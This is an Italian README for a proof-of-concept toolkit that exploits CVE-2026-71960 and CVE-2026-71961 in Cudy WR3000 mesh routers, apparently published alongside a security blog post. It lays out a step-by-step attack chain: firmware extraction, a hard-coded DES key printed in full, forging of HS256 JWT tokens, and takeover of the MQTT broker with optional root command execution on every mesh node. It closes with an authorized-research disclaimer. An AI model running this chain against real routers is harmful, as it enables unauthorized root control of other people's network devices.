
Toolkit PoC che decomprime il firmware dei router, decifra i segreti dei dispositivi, contraffà token JWT e sfrutta le CVE-2026-71960/71961 per assumere il controllo dei broker MQTT mesh Cudy WR3000.
Strumenti PoC per l'articolo Hunt-Benito "The Same Key Opens Every Box: CVE-2026-71960 — Hard-coded JWT Secret in Cudy's WR3000 Mesh MQTT Broker" (https://www.hunt-benito.com/blog/the-same-key-opens-every-box-cve-2026-71960-hard-coded-jwt-secret-in-cudy-wr3000-mesh-mqtt/)
Si combina con CVE-2026-71961 (iniezione di comandi OS tramite la stessa interfaccia mesh MQTT) per ottenere l'esecuzione di comandi come root su ogni nodo di un mesh Cudy WR3000 2.0 con firmware precedente alla 2.5.24.
| File | Scopo |
|---|---|
extract_firmware.py | Estrae un .bin sysupgrade pubblico Cudy (hboot1tag + UBI) in un filesystem OpenWrt completo. Verificato con 2.4.14 / 2.4.15 / 2.5.24. |
decrypt_bdinfo.py | Deriva la chiave DES (DES_string_to_key("88T3j05dtFu8="), IV zero — recuperata da libbdinfo.so) e decritta un dump MTD bdinfo del tuo dispositivo, rivelando deviceid e il secret condiviso tra tutti i dispositivi. |
forge_jwt.py | Genera un token HS256 che soddisfa tutti i controlli in mosquitto_auth_unpwd_check (exp minimo 1577826000, grant username contenente il deviceid). Auto-verifica il round-trip. |
mqtt_takeover.py | Si CONNETTE al broker sulla porta TCP 1883 con il JWT forgiato, si sottoscrive a router/# e (opzionalmente, --cmd) sfrutta la sink command.lua → io.popen di CVE-2026-71961. |
pip install pycryptodome pyjwt paho-mqtt
# 1. estrai il firmware pubblico (nessun dispositivo necessario)
python3 extract_firmware.py WR3000V2-R116-2.4.15-20251030-114751-sysupgrade.bin --out rootfs --keep-sqfs
# 2. conferma che la chiave DES letterale sia presente nell'immagine
strings -n 8 rootfs/usr/lib/libbdinfo.so | grep -E '^[A-Za-z0-9+/]{12}=$'
# 88T3j05dtFu8=
# 3. decritta un dump bdinfo del TUO dispositivo (2.4.x espone /dev/mtd*)
python3 decrypt_bdinfo.py bdinfo.bin
# 4. forgi un token per il deviceid/secret recuperato
python3 forge_jwt.py --deviceid 012345678901 --secret '<secret>'
# 5. passivo: autenticati e rimani in ascolto sulla mesh
python3 mqtt_takeover.py --host 192.168.10.1 --deviceid 012345678901 --secret '<secret>'
auth_plugin_jwt.so chiama bdinfo_get_value("deviceid") e
bdinfo_get_value("secret") all'avvio del broker; il valore secret è la
chiave di firma HS256 per tutti i JWT della mesh.exp del plugin è exp >= 1577826000 (2019-12-31T21:00:00Z); il
risultato della chiamata time() non viene mai confrontato — i token in realtà non scadono mai.alg: none viene rifiutato (EINVAL quando viene fornita una chiave) — il secret è
realmente necessario; non esiste una scorciatoia tramite confusione di alg.mosquitto_auth_acl_check() restituisce SUCCESS incondizionatamente — una CONNECT
accettata concede lettura/scrittura su ogni topic.0.0.0.0:1883 (2.4.x) significa che non è richiesto alcun
certificato client TLS. Il firmware corretto 2.5.24 elimina il listener 1883,
rimuove completamente il secret bdinfo e si affida alla TLS reciproca.Solo per ricerca sulla sicurezza e formazione autorizzate. Da eseguire esclusivamente su dispositivi di tua proprietà o per i quali hai esplicito permesso scritto di test. Gli autori non si assumono alcuna responsabilità per un uso improprio.